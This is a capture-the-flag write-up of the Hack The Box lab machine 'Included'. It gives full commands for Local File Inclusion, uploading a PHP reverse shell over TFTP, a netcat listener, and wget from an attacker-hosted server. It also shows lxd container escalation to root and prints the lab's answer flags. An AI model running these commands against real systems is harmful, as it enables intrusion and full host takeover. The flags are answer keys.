# Included (Tier 2)

## <mark style="color:blue;">Description</mark>

* **Tier&#x20;**<mark style="color:green;">**->**</mark> 2
* **Difficult** <mark style="color:green;">**->**</mark> Very Easy
* **OS** <mark style="color:green;">**->**</mark> Linux
* **Tags&#x20;**<mark style="color:green;">**->**</mark> PHP / Custom Applications / Protocols / Apache / TFTP / LXD / Reconnaissance\
  &#x20;              / Local File Inclusion / Clear Text Credentials / Arbitrary File Upload

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FomXi2KrD77pJK37xZyHU%2Fimage.png?alt=media&#x26;token=0ee8600d-411e-45e3-9389-41e657629a5e" alt=""><figcaption><p><a href="https://app.hackthebox.com/starting-point?tier=1">https://app.hackthebox.com/starting-point?tier=2</a></p></figcaption></figure>

## <mark style="color:blue;">Write-up</mark>

* I started doing an initial scan using [_Nmap_](../../../networks/tools-and-utilities#nmap)

<pre class="language-bash" data-line-numbers><code class="lang-bash"><strong>nmap 10.129.156.215 -p- -Pn --min-rate 2500 -oN scan.txt
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FW1RKD3VQT4ULwmhHr8mb%2Fimage.png?alt=media&#x26;token=d9312e43-ff6d-4e0c-8b8e-0d35eb8cfd95" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the first questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FrLxQLNTG3WiPsASHtvdI%2Fimage.png?alt=media&#x26;token=cd2b526c-dbd7-4e63-a450-d76b22193e26" alt=""><figcaption></figcaption></figure>

> Answer: _**22,6789,8080,8443**_

***

* Then to learn more about the service running on the open port, I did an exhaustive scan

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>nmap 10.129.156.215 -p80 -sVC -oN serv_scan.txt
</strong></code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FdawlSEzbLpFGWZO16Aya%2Fimage.png?alt=media&#x26;token=e6cb2c5a-53f2-4206-a9fa-2139351b08e2" alt=""><figcaption></figcaption></figure>

***

* As I found an HTTP service running on port 80, I went to the browser to explore the content being deployed. I found a simple page for a business with anything relevant. What caught my attention was that the URL was retrieving the file of the page with a query, and maybe this could be vulnerable to a Local File Inclusion attack

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FDuf714chgrS5E56uTIm6%2Fimage.png?alt=media&#x26;token=657be69e-d501-4c24-98f5-236c9c700dab" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](../../networks/protocols/http)
{% endhint %}

***

* So I tried to change the file name to a route of a file from the system, in this case, the well-known _/etc/password_ file, and noticed it let me see the content of this file, being, in fact, vulnerable to _Local File Inclusion,_ as I thought. Also checking the information from the file, I saw that in the system existed a profile named _tftp,_ which is the default for the TFTP protocol, also giving me the route to the folder where its configuration files should be

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FS22nKy0RpP3obRxWNblu%2Fimage.png?alt=media&#x26;token=b4cb12db-36ff-4405-b691-3409cc043ccc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F2V9MbfBoQ8H8knvkFZkW%2Fimage.png?alt=media&#x26;token=0e1196f1-bddf-4325-82fb-adefbe82874d" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about Local File Inclusion and its exploitation, you can go [here](../../web-exploitation/broken-access-control/local-file-inclusion)
{% endhint %}

***

* So, to confirm the system was using this protocol, I did a scan on the UDP ports of the system, as this protocol usually works over UD&#x50;_,_ and our previous scan didn't detect the service. With this, I found that the protocol was being used under its default port, the UDP port 69

{% code overflow="wrap" lineNumbers="true" %}
```bash
nmap 10.129.156.215 -sU -oN UDP_scan.txt
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FtIr5BAgAbRhNLzOZdLW9%2Fimage.png?alt=media&#x26;token=dd4ff3e4-bfbb-4211-8a3c-3b830e7fdb14" alt=""><figcaption></figcaption></figure>

***

* With this, we answered the first questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FN0qKxNTnQVAgOdYIFpcy%2Fimage.png?alt=media&#x26;token=56acc1b9-c73b-41df-97f2-a30ee2ac182b" alt=""><figcaption></figcaption></figure>

> Answer: _**tftp**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FNltvn443zUX4Mc9qohDD%2Fimage.png?alt=media&#x26;token=e35385e2-2ee3-4a6b-a676-f019f3ffd1a2" alt=""><figcaption></figcaption></figure>

> Answer: _**Local File Inclusion**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FYIzlBaTseqseaKbpO5iG%2Fimage.png?alt=media&#x26;token=a5eef7d1-fda2-4385-9e9d-4b7cea4b1532" alt=""><figcaption></figcaption></figure>

> Answer: _**/var/lib/tftpboot/**_

***

* Knowing this, I tried connecting to the protocol and submitting a reverse shell script for _PHP,_ as this protocol doesn't let me list shared files, just download them or upload them. As it didn't give us any error, we closed the connection, assuming the file was on the server

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash">tftp 10.129.156.215
<strong>tftp> put PHPshell.php
</strong>tftp> quit
</code></pre>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FBYGwxPFKBt5GtjzEXReQ%2Fimage.png?alt=media&#x26;token=2c1791b3-5af1-4248-8d0b-c53df4455fe4" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the TFTP protocol, you can go [here](../../networks/protocols/ftp/tftp)
{% endhint %}

***

* Then, I set up a [_Netcat_](../../../networks/tools-and-utilities#netcat) listener to be aware of the connection and called the script from the previously found folder where TFTP was storing its files. After hitting the direction, I noticed the page kept loading, and I had successfully caught a shell from the target. Then, I sanitized the terminal to work more comfortably with it

{% code overflow="wrap" lineNumbers="true" %}
```bash
nc -nvlp 4444
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FaGrm5fl3E3s8HfhOPBbu%2Fimage.png?alt=media&#x26;token=63f60ad1-3521-446b-b320-650acf9edd5c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FhrOdS9VsGrOLsjCRvr04%2Fimage.png?alt=media&#x26;token=4deba028-c9ff-455e-9229-d936f1921944" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FoqVlJMixXaCfe9QbHxFa%2Fimage.png?alt=media&#x26;token=7d0f244a-6bb1-48ae-89d6-3c2ccdc14732" alt=""><figcaption></figcaption></figure>

***

* As I gained access as the user from the web server, I had to find a way to make lateral movement to another user on the system with less restricted actions. First, I went to explore the default folder for servers  _/var/www/html,_ and looking at the hidden files found the _.htaccess_ and _.htpasswd_ files, which are related to the server configuration and usually store sensitive information

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FyeGTiuYu0CNLXIRzGYXD%2Fimage.png?alt=media&#x26;token=6c4f8762-9458-4bb9-8084-e08700c1e142" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the abuse of exposed _.htaccess_ or _.htpasswd_ files, you can go [here](../../web-exploitation/broken-access-control/exposed-.htaccess-and-.htpasswd-files)
{% endhint %}

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FguhbgDBjSkDdbihPoCVD%2Fimage.png?alt=media&#x26;token=efd44596-5808-475d-b0a4-e2f9229a59d8" alt=""><figcaption></figcaption></figure>

> Answer: _**.htpasswd**_

***

* So, checking the content of the _.htpasswd_ file, I found the credentials for the _mike_ user were being leaked, and after trying to change to this user using them, I successfully logged in. Then, I went to its _/home_ folder where I found a _user.txt_ file, and reading it, retrieved the user flag&#x20;

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FoUzmQ3kh7ZX35JyreCZ4%2Fimage.png?alt=media&#x26;token=87b27eb0-bb66-417b-ba6a-ffdd79924486" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FELeD7LaNJD8L0OMoF6E0%2Fimage.png?alt=media&#x26;token=45132754-a637-4906-af83-a3255092b194" alt=""><figcaption></figcaption></figure>

***

* I needed to find a way to escalate privileges, so I tried to check the `sudo` permissions for the user, but didn't have any. After checking some information like local running services and special permissions on files, the only relevant thing I found was that the user was part of the _lxd_ group. So, with a little [research](https://canonical.com/lxd), I understood the use of _lxd_ as a tool for creating containers of operating systems. So, I checked if this tool was installed on the system, and it was

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fr8PT5GOhKbdHKNRhPVq0%2Fimage.png?alt=media&#x26;token=b5a07344-2d23-438e-bae5-aed614664c11" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FyDW7L67hdHIdyGhGJZN0%2Fimage.png?alt=media&#x26;token=e55f7751-4d80-4e30-b0d4-b0d84631efea" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F56WWMqQ4fxurQyCHkQqz%2Fimage.png?alt=media&#x26;token=eb3da119-3373-4c7c-aeb2-4e1c7bb7b315" alt=""><figcaption></figcaption></figure>

> Answer: _**lxd**_

***

* With this information, I searched for possible exploits of this tool and found an interesting [article](https://www.hackingarticles.in/lxd-privilege-escalation/) with a guide to do it. So, following the guide, I got an image for the _Alpine_ operating system and mounted a server to pass it from our machine to the target host. Then, I downloaded it and checked that it was on the target

{% code overflow="wrap" lineNumbers="true" %}
```bash
# On our machine
wget https://github.com/saghul/lxd-alpine-builder/alpine-v3.13-x86_64-20210218_0139.tar.gz
python3 -m http.server 1234

#On the target machine
wget http://10.10.14.117:1234/alpine-v3.13-x86_64-20210218_0139.tar.gz
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fz5JjMpBTvxzXEHp3v9oq%2Fimage.png?alt=media&#x26;token=10f1a292-e839-4043-95ab-9dc0c7856070" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FSBun3BhtTB1aksk5xvP7%2Fimage.png?alt=media&#x26;token=e55b5a5d-b17a-4e79-aa0a-da995a160548" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn the complete process for the privilege escalation abusing _lxd,_ you can go [here](../../../penetration-testing/process-stages/post-exploitation/privilege-escalation/linux-privilege-escalation#abusing-lxd)
{% endhint %}

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FqUSoIpVHgqDnJUmJzxhG%2Fimage.png?alt=media&#x26;token=12f9ab2b-768a-4dce-8860-911876f95f3e" alt=""><figcaption></figcaption></figure>

> Answer: _**Alpine**_

***

* After this, I imported the image and created a container using it, specifying high privileges and mounting the filesystem of the target inside it. Then, I started the container to interact with it

{% code overflow="wrap" lineNumbers="true" %}
```bash
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path /mnt recursive=true
lxc start pwned
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FREhfDaRi6JsRpUtSbAUZ%2Fimage.png?alt=media&#x26;token=15091b9e-f4a7-48fa-bbf6-9299f4197c11" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FZ30y3RAQktyAYv0m5w6q%2Fimage.png?alt=media&#x26;token=35933513-fe34-490a-82bb-c540697d3fac" alt=""><figcaption></figcaption></figure>

***

* With this, I answered the next question

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F25jIwkXKWgEzXe2PbzIr%2Fimage.png?alt=media&#x26;token=431a3017-d40f-4370-9051-56786036491a" alt=""><figcaption></figcaption></figure>

> Answer: _**security.privileged=true**_

***

* With all this created, I generated a shell from the container having now access as the _root_ user to the complete filesystem. Last, I went to the mount point on the _/mnt/root_ folder where I found a _root.txt_ file, and reading its content, retrieved the root flag

{% code overflow="wrap" lineNumbers="true" %}
```bash
lxc exec pwned /bin/sh
```
{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FQELigMxO7ljcGVHq3V2T%2Fimage.png?alt=media&#x26;token=e5bc4810-c80e-4015-820b-89776a9f273d" alt=""><figcaption></figcaption></figure>

***

* With this and the previously found user flag, I answered the last questions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FwsjvPMgaOETQ6zU1Sku9%2Fimage.png?alt=media&#x26;token=f8d56a94-2b5a-45f1-81cd-e3c4a89e4b85" alt=""><figcaption></figcaption></figure>

> Answer: _**/mnt/root/**_

***

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FDsLkDZEyG1FcvTHmXF9F%2Fimage.png?alt=media&#x26;token=5516debd-cc1d-4030-886a-98e9337bfa71" alt=""><figcaption></figcaption></figure>

> Answer: _**a56ef91d70cfbf2cdb8f454c006935a1**_

***

* And finally, I got the root flag and pwned the machine

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F7IT97FbkPlTo5KtwskbE%2Fimage.png?alt=media&#x26;token=04037b77-8ec9-429a-87d1-9f8e19d957fe" alt=""><figcaption></figcaption></figure>

> Answer: _**c693d9c7499d9f572ee375d4c14c7bcf**_
